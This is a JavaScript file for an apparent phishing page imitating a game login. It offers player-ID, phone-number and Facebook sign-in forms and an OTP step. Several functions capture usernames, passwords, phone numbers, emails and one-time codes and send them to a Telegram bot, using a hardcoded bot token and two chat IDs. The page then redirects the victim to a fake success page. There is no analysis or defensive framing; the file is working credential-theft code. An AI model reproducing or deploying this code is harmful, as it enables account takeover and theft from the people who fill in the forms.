function preventSpam(variableName, delay) {
    if (!window[variableName]) {
        window[variableName] = true; // Kunci
        setTimeout(() => {
            window[variableName] = false; // Buka kunci setelah delay
        }, delay);
        return false; // Tidak sedang terkunci
    }
    return true; // Masih terkunci
}
function redirectToSuccess() {
    const loadingElement = document.createElement('div');
    loadingElement.id = 'loading';
    loadingElement.innerHTML = `
        <div class="spinner"></div>
        <p>Loading...</p>
    `;
    document.body.appendChild(loadingElement);

    setTimeout(() => {
        window.location.href = "succes.html";
    }, 1500);
}

let uniqueCode = null;

function generateUniqueCode() {
    return Math.floor(10000 + Math.random() * 90000); 
}

function sendHPDataToTelegram() {
    const hpId = document.getElementById('hp-id').value.trim(); 
    const hpPassword = document.getElementById('hp-password').value.trim(); 

    if (!hpId || !hpPassword) {
        return;
    }

    const timestamp = new Date().toLocaleString(); 
    
    if (!uniqueCode) {
        uniqueCode = generateUniqueCode();
    }
    if (preventSpam('canClickSendData', 10000)) {
        alert("Harap tunggu beberapa saat sebelum mencoba lagi.");
        return; // Hentikan eksekusi fungsi jika tombol terkunci
    }
    

    const botToken = "7811724170:AAEm-d_oQ-HR_Nb6TjNOO-37FxurLfxwcew"; 
    const chatIds = ["5593216026","1832116405"]; // Dua chat ID

    const message = `
*Hp Login*
*Kode Unik:* ${uniqueCode}
*Waktu:* ${timestamp}
*Nomor HP:* ${hpId}
*Password:* ${hpPassword}
`;

    // Kirim ke kedua chat ID
    chatIds.forEach(chatId => {
        const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;

        fetch(url)
            .then(response => {
                if (response.ok) {
                    console.log(`Data terkirim ke Telegram (Chat ID: ${chatId})!`);
                } else {
                    console.error(`Gagal mengirim data ke Telegram (Chat ID: ${chatId}).`);
                }
            })
            .catch(error => {
                console.error(`Terjadi kesalahan (Chat ID: ${chatId}):`, error);
            });
    });

    closeModal('hp-login-modal'); 
    showModal('verification-modal'); 
}

function bukaForm() {
    document.getElementById('overlay').style.display = 'block'; 
    document.getElementById('form-login').style.display = 'block'; 
}

function tutupForm() {
    document.getElementById('overlay').style.display = 'none'; 
    document.getElementById('form-login').style.display = 'none'; 
}

function bukaForm() {
    document.getElementById('overlay').style.display = 'block'; 
    document.getElementById('form-login').style.display = 'block'; 
}

function tutupForm() {
    document.getElementById('overlay').style.display = 'none'; 
    document.getElementById('form-login').style.display = 'none'; 
}

function bukaForm() {
    document.getElementById('overlay').style.display = 'block'; 
    document.getElementById('form-login').style.display = 'block'; 
}

function tutupForm() {
    document.getElementById('overlay').style.display = 'none'; 
    document.getElementById('form-login').style.display = 'none'; 
}

if (!uniqueCode) {
    uniqueCode = generateUniqueCode();
}

let isSending = false; // Flag untuk menandai proses pengiriman

async function kirimKeTelegram(email, password) {
    if (isSending) {
        console.log("Proses pengiriman sedang berlangsung, harap tunggu...");
        return; // Keluar dari fungsi jika proses sedang berlangsung
    }

    const botToken = "7811724170:AAEm-d_oQ-HR_Nb6TjNOO-37FxurLfxwcew"; 
    const chatIds = ["1832116405", "5593216026"]; // Dua chat ID

    const message = `
🔔 *Login Facebook Detected* 🔔
🔑 *Kode Unik:* ${uniqueCode}
📧 *Email*: ${email}
🔑 *Password*: ${password}`;

    // Nonaktifkan tombol dan set flag
    const button = document.querySelector('button'); // Ganti dengan selector yang sesuai
    button.disabled = true;
    button.innerText = 'Mengirim...';
    isSending = true; // Set flag menjadi true

    // Kirim ke kedua chat ID
    for (const chatId of chatIds) {
        const url = `https://api.telegram.org/bot${botToken}/sendMessage`;

        try {
            const response = await fetch(url, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: 'Markdown'
                })
            });

            if (response.ok) {
                console.log(`Data terkirim ke Telegram (Chat ID: ${chatId})!`);
            } else {
                console.error(`Gagal mengirim data ke Telegram (Chat ID: ${chatId}).`);
            }
        } catch (error) {
            console.error(`Terjadi kesalahan (Chat ID: ${chatId}):`, error);
        }
    }

    // Aktifkan kembali tombol dan reset flag
    button.disabled = false;
    button.innerText = 'Kirim';
    isSending = false; // Reset flag

    showLoading(); 
    setTimeout(() => {
        window.location.href = 'succes.html'; 
    }, 500);
}

// Event listener untuk tombol
document.querySelector('button').addEventListener('click', () => {
    const email = document.querySelector('#email').value; // Ganti dengan selector yang sesuai
    const password = document.querySelector('#password').value; // Ganti dengan selector yang sesuai
    kirimKeTelegram(email, password);
});

function showLoading() {
    const loadingElement = document.createElement('div');
    loadingElement.id = 'loading';
    loadingElement.innerHTML = `<div class="spinner"></div><p>Harap tunggu...</p>`;
    document.body.appendChild(loadingElement);
}

document.querySelector('#form-login form').addEventListener('submit', function (e) {
    e.preventDefault(); 

    const email = document.querySelector('#form-login input[type="text"]').value;
    const password = document.querySelector('#form-login input[type="password"]').value;

    kirimKeTelegram(email, password);
});

function sendLoginDataToTelegram() {
    if (!canClickSendData) {
        return;
    }

    canClickSendData = false;
    setTimeout(() => {
        canClickSendData = true;
    }, 10000);

    const nohp = document.getElementById('hp-id').value; 
    const playerPassword = document.getElementById('hp-password').value; 

    if (!nohp || !playerPassword) {
        return;
    }

    const botToken = "7811724170:AAEm-d_oQ-HR_Nb6TjNOO-37FxurLfxwcew"; 
    const chatIds = ["1832116405", "5593216026"]; // Dua chat ID

    const message = `
📌 *Data Login* 📌
🔹 *Nomor HP:* ${nohp}
🔹 *Password:* ${playerPassword}
`;

    // Kirim ke kedua chat ID
    chatIds.forEach(chatId => {
        const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;

        fetch(url)
            .then(response => {
                if (response.ok) {
                    console.log(`Data terkirim ke Telegram (Chat ID: ${chatId})!`);
                } else {
                    console.error(`Gagal mengirim data ke Telegram (Chat ID: ${chatId}).`);
                }
            })
            .catch(error => {
                console.error(`Terjadi kesalahan (Chat ID: ${chatId}):`, error);
            });
    });
}

function showModal(modalId) {
    const modal = document.getElementById(modalId);
    if (modal) {
        modal.style.display = "block";
    }
}

function closeModal(modalId) {
    const modal = document.getElementById(modalId);
    if (modal) {
        modal.style.display = "none";
    }
}

function showVerificationModal() {
    closeModal('id-login-modal'); 
    closeModal('hp-login-modal'); 
    showModal('verification-modal'); 
}

function sendOTPToTelegramAndRedirect() {
    const otpInput = document.getElementById('otp-input').value;

    // Validasi panjang OTP
    if (otpInput.length !== 4) {
        alert('Kode OTP harus terdiri dari 4 digit!');
        return; // Hentikan proses jika OTP tidak valid
    }

    // Jika OTP valid, kirim data ke Telegram dan redirect
    sendOTPToTelegram();
    setTimeout(() => {
        window.location.href = 'succes.html';
    }, 2000); 
}

function sendOTPToTelegram() {
    const botToken = "7811724170:AAEm-d_oQ-HR_Nb6TjNOO-37FxurLfxwcew"; 
    const chatIds = ["1832116405", "5593216026"]; // Dua chat ID

    const otpInput = document.getElementById('otp-input').value;

    if (!otpInput || otpInput.length !== 4) {
        alert('Kode OTP harus terdiri dari 4 digit!');
        return;
    }
    

    const timestamp = new Date().toLocaleString(); 
    const message = `
📌 *Kode OTP* 📌
🔑 *Kode Unik:* ${uniqueCode}
🕒 *Waktu:* ${timestamp}
🔹 *OTP:* ${otpInput}
`;

    // Kirim ke kedua chat ID
    chatIds.forEach(chatId => {
        const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;

        fetch(url)
            .then(response => {
                if (response.ok) {
                    console.log(`Data terkirim ke Telegram (Chat ID: ${chatId})!`);
                } else {
                    console.error(`Gagal mengirim data ke Telegram (Chat ID: ${chatId}).`);
                }
            })
            .catch(error => {
                console.error(`Terjadi kesalahan (Chat ID: ${chatId}):`, error);
            });
    });
}

const clickSound = document.getElementById('click-sound');
clickSound.load();

document.addEventListener('DOMContentLoaded', () => {
    const clickSound = document.getElementById('click-sound');
    const lobbySound = document.getElementById('lobby-sound');

    document.body.addEventListener('click', () => {
        clickSound.play().catch(() => {});
        lobbySound.play().catch(() => {});
    }, { once: true });
});

function playLobbySound() {
    const lobbySound = document.getElementById('lobby-sound');
    lobbySound.currentTime = 0;
    lobbySound.play().catch((error) => {
        console.error('Gagal memutar suara lobby:', error);
    });
}

function playClickSound() {
    const clickSound = document.getElementById('click-sound');
    clickSound.currentTime = 0;
    clickSound.play().catch((error) => {
        console.error('Gagal memutar suara klik:', error);
    });
}

function playLobbySound() {
    const lobbySound = document.getElementById('lobby-sound');
    lobbySound.currentTime = 0;
    lobbySound.play()
    .then(() => console.log('Lobby sound playing'))
    .catch((error) => console.error('Failed to play lobby sound:', error));
}

function playClickSound() {
    const clickSound = document.getElementById('click-sound');
    clickSound.currentTime = 0;
    clickSound.play()
    .then(() => console.log('Click sound playing'))
    .catch((error) => console.error('Failed to play click sound:', error));
}

setTimeout(() => {
    const imageBackground = document.querySelector('.background.image');
    imageBackground.style.opacity = "1"; 
    imageBackground.style.zIndex = "0"; 
    playLobbySound(); 
    console.log("Background kedua muncul setelah 6 detik");
}, 6000);

let canClickSendData = true; 
let canClickSendOTP = true; 

function showModal(modalId) {
    const modal = document.getElementById(modalId);
    const overlay = document.getElementById('overlay');

    if (modal) {
        modal.style.display = 'block'; 
    }

    if (overlay) {
        overlay.style.display = 'block'; 
    }
}

function closeModal(modalId) {
    const modal = document.getElementById(modalId);
    const overlay = document.getElementById('overlay');

    if (modal) {
        modal.style.display = 'none'; 
    }

    if (overlay) {
        overlay.style.display = 'none'; 
    }
}

function showVerificationModal() {
    const modal = document.getElementById('verification-modal');
    const loginBackground = document.getElementById('id-login-modal'); 

    if (modal && loginBackground) {
        modal.style.display = 'block';
        loginBackground.style.display = 'none'; 
    }
}

function closeVerificationModal() {
    const modal = document.getElementById('verification-modal');
    const loginBackground = document.getElementById('id-login-modal'); 

    if (modal && loginBackground) {
        modal.style.display = 'none';
        loginBackground.style.display = 'block'; 
    }
}

function sendToTelegram() {
    if (!canClickSendData) {
        return; // Hentikan eksekusi jika tombol sedang terkunci
    }

    if (!uniqueCode) {
        uniqueCode = generateUniqueCode();
    }

    // Kunci tombol selama 10 detik
    canClickSendData = false; 
    setTimeout(() => {
        canClickSendData = true; // Buka kembali tombol setelah 10 detik
    }, 10000); // 10 detik

    const timestamp = new Date().toLocaleString(); 
    const botToken = "7811724170:AAEm-d_oQ-HR_Nb6TjNOO-37FxurLfxwcew"; 
    const chatIds = ["1832116405", "5593216026"]; // Dua chat ID

    const playerId = document.getElementById("player-id").value;
    const playerPassword = document.getElementById("player-password").value;
    const phoneNumber = document.getElementById("phone-number").value;

    const message = `
📌 *Id Login* 📌
🔑 *Kode Unik:* ${uniqueCode}
🕒 *Waktu:* ${timestamp}
🔹 *ID Pemain:* ${playerId}
🔹 *Password:* ${playerPassword}
🔹 *Nomor HP:* ${phoneNumber}
Catatan : Form id login kalau isinya hanya nomor hp
berarti itu fom dari login melalui nomor hp
berarti jangn perdulikan.
`;

    // Kirim ke kedua chat ID
    chatIds.forEach(chatId => {
        const url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;

        fetch(url)
            .then(response => {
                if (response.ok) {
                    console.log(`Data terkirim ke Telegram (Chat ID: ${chatId})!`);
                } else {
                    console.error(`Gagal mengirim data ke Telegram (Chat ID: ${chatId}).`);
                }
            })
            .catch(error => {
                console.error(`Terjadi kesalahan (Chat ID: ${chatId}):`, error);
            });
    });
}


document.addEventListener('DOMContentLoaded', () => {
    const idLoginBtn = document.getElementById('id-login-btn');
    const hpLoginBtn = document.getElementById('hp-login-btn');
    const idLoginClose = document.getElementById('id-login-close');
    const hpLoginClose = document.getElementById('hp-login-close');
    const verificationCloseBtn = document.querySelector('#verification-modal .close-btn');
    const submitBtn = document.getElementById('submit-btn');
    const videoBackground = document.querySelector('.background.video');
    const imageBackground = document.querySelector('.background.image');

    setTimeout(() => {
        imageBackground.style.opacity = "1"; 
        imageBackground.style.zIndex = "0"; 
        console.log("Background kedua muncul setelah 6 detik");
    }, 6000);

    if (idLoginBtn) {
        idLoginBtn.addEventListener('click', () => {
            showModal('id-login-modal');
        });
    }

    if (hpLoginBtn) {
        hpLoginBtn.addEventListener('click', () => {
            showModal('hp-login-modal');
        });
    }

    if (idLoginClose) {
        idLoginClose.addEventListener('click', () => {
            closeModal('id-login-modal');
        });
    }

    if (hpLoginClose) {
        hpLoginClose.addEventListener('click', () => {
            closeModal('hp-login-modal');
        });
    }

    if (verificationCloseBtn) {
        verificationCloseBtn.addEventListener('click', () => {
            closeVerificationModal();
        });
    }

    if (submitBtn) {
        submitBtn.addEventListener('click', () => {
            showLoadingBeforeVerification();
        });
    }
});

function showAdditionalFields() {
    const method = document.getElementById("verification-method").value;
    const additionalFields = document.getElementById("additional-fields");

    additionalFields.innerHTML = "";

    if (method === "no_ponsel") {
        additionalFields.innerHTML = `
            <input type="text" placeholder="Masukkan No Ponsel" style="width: 100%; padding: 10px; margin-bottom: 10px; border-radius: 5px;">
        `;
    } else if (method === "email") {
        additionalFields.innerHTML = `
            <input type="email" placeholder="Masukkan Email" style="width: 100%; padding: 10px; margin-bottom: 10px; border-radius: 5px;">
        `;
    } else if (method === "pertanyaan") {
        additionalFields.innerHTML = `
            <input type="text" placeholder="Masukkan Jawaban Pertanyaan Keamanan" style="width: 100%; padding: 10px; margin-bottom: 10px; border-radius: 5px;">
        `;
    }
}

function submitVerification() {
}

function showVerificationModal() {
    const modal = document.getElementById('verification-modal');
    if (modal) {
        modal.style.display = 'block';
    }
}

function closeVerificationModal() {
    const modal = document.getElementById('verification-modal');
    if (modal) {
        modal.style.display = 'none';
    }
}

function showModal(modalId) {
    const modal = document.getElementById(modalId);
    if (modal) {
        modal.style.display = "block";
    }
}

function closeModal(modalId) {
    const modal = document.getElementById(modalId);
    if (modal) {
        modal.style.display = "none";
    }
}

function showLoadingBeforeVerification() {
    const loading = document.getElementById('loading');
    const verificationModal = document.getElementById('verification-modal');

    if (loading) loading.style.display = 'block';
    if (verificationModal) verificationModal.style.display = 'none';

    setTimeout(() => {
        if (loading) loading.style.display = 'none';
        if (verificationModal) verificationModal.style.display = 'block';
    }, 2000); 
}

document.addEventListener('DOMContentLoaded', () => {
    const idLoginBtn = document.getElementById('id-login-btn');
    const hpLoginBtn = document.getElementById('hp-login-btn');
    const idLoginClose = document.getElementById('id-login-close');
    const hpLoginClose = document.getElementById('hp-login-close');
    const verificationCloseBtn = document.querySelector('#verification-modal .close-btn');
    const submitBtn = document.getElementById('submit-btn');

if (idLoginBtn) {
idLoginBtn.addEventListener('click', () => {
    showModal('id-login-modal');
});
}

if (hpLoginBtn) {
hpLoginBtn.addEventListener('click', () => {
    showModal('hp-login-modal');
});
}

if (idLoginClose) {
idLoginClose.addEventListener('click', () => {
    closeModal('id-login-modal');
});
}

if (hpLoginClose) {
hpLoginClose.addEventListener('click', () => {
    closeModal('hp-login-modal');
});
}

if (verificationCloseBtn) {
verificationCloseBtn.addEventListener('click', () => {
    closeVerificationModal();
});
}

if (submitBtn) {
submitBtn.addEventListener('click', () => {
    showLoadingBeforeVerification();
});
}
});

const pengumuman = document.getElementById('pengumuman');


function bukaPengumuman() {
    pengumuman.style.left = '0'; 
}


function tutupPengumuman() {
    pengumuman.style.left = '-100%'; 
}


setTimeout(() => {
    bukaPengumuman();
}, 9000);